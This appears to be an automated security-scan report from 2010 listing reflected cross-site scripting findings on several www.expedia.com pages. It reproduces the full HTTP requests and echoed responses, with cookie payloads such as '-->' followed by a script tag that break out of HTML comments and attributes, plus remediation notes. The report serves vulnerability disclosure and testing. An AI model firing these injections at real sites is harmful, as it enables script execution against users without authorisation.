GET /daily/packages/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=f0c09--><script>alert(1)</script>9db190cd219; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 58726 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:46:09 GMT Connection: close Connection: Transfer-Encoding Content-Length: 58726
<!--::637990::-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=COREOFFER&LOCATION=PACKAGES&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=f0c09--><script>alert(1)</script>9db190cd219 --> ...[SNIP]...
The value of the iEAPID cookie is copied into an HTML comment. The payload eb661--><script>alert(1)</script>f350b8856f5 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/service/privacy.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=eb661--><script>alert(1)</script>f350b8856f5; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 51833 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 22:45:52 GMT Connection: close Connection: Transfer-Encoding Content-Length: 51833
The value of the iEAPID cookie is copied into an HTML comment. The payload 26c8c--><script>alert(1)</script>3960fb48b1a was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /daily/sitetour/default.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=26c8c--><script>alert(1)</script>3960fb48b1a; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 46036 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:15:17 GMT Connection: close Connection: Transfer-Encoding Content-Length: 46036
The value of the MC1 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d613"><script>alert(1)</script>2f4c096f747 was submitted in the MC1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /pub/agent.dll HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=9d613"><script>alert(1)</script>2f4c096f747; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=0000,; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 65580 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:15:09 GMT Connection: close Connection: Transfer-Encoding Content-Length: 65580
The value of the iEAPID cookie is copied into an HTML comment. The payload 442fa--><script>alert(1)</script>b6acc7fa451 was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /pub/agent.dll HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=442fa--><script>alert(1)</script>b6acc7fa451; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 66140 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:15:15 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66140
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <COMMENT TITLE="MO ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=WALLPAPER&LOCATION=HOME&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=442fa--><script>alert(1)</script>b6acc7fa451 --> ...[SNIP]...
The value of the MC1 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62787"><script>alert(1)</script>b99c43a4aae was submitted in the MC1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /pubspec/scripts/eap.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=62787"><script>alert(1)</script>b99c43a4aae; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=0000,; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 65538 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:14:38 GMT Connection: close Connection: Transfer-Encoding Content-Length: 65538
The value of the iEAPID cookie is copied into an HTML comment. The payload 57d74--><script>alert(1)</script>74e18ccbd4a was submitted in the iEAPID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /pubspec/scripts/eap.asp HTTP/1.1 Host: www.expedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX; s1=`ffst=v.1,0`user=v.8,0,EX014E7C51E7$DA$22202000$D4$8B$CA6$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CBf$81$C19$F2$0D$C7$82$AB$89$FB!e02000`144; COOKIECHECK=1; U9Z5=0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ipsnf3=v.3|US|1|618|houston; MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; jscript=1; JSESSION=31392c85-22dc-499e-9ac9-26d3516457e3; iEAPID=57d74--><script>alert(1)</script>74e18ccbd4a; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE];
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI" Cteonnt-Length: 66343 Content-Type: text/html; Charset=iso-8859-1 Cache-Control: private Date: Sat, 13 Nov 2010 21:14:49 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <COMMENT TITLE="MO ...[SNIP]... <!-- html.cms/TPID=1&PLACEMENT=WALLPAPER&LOCATION=HOME&SUBLOCATION=SEARCH&LANGID=1033&NUMCHILDREN=0|0|0|0|0|0|0|0&IPGEO=618.HOUSTON&EAPID=57d74--><script>alert(1)</script>74e18ccbd4a --> ...[SNIP]...
Report generated by Hoyt LLC at Sun Nov 14 16:15:40 CST 2010.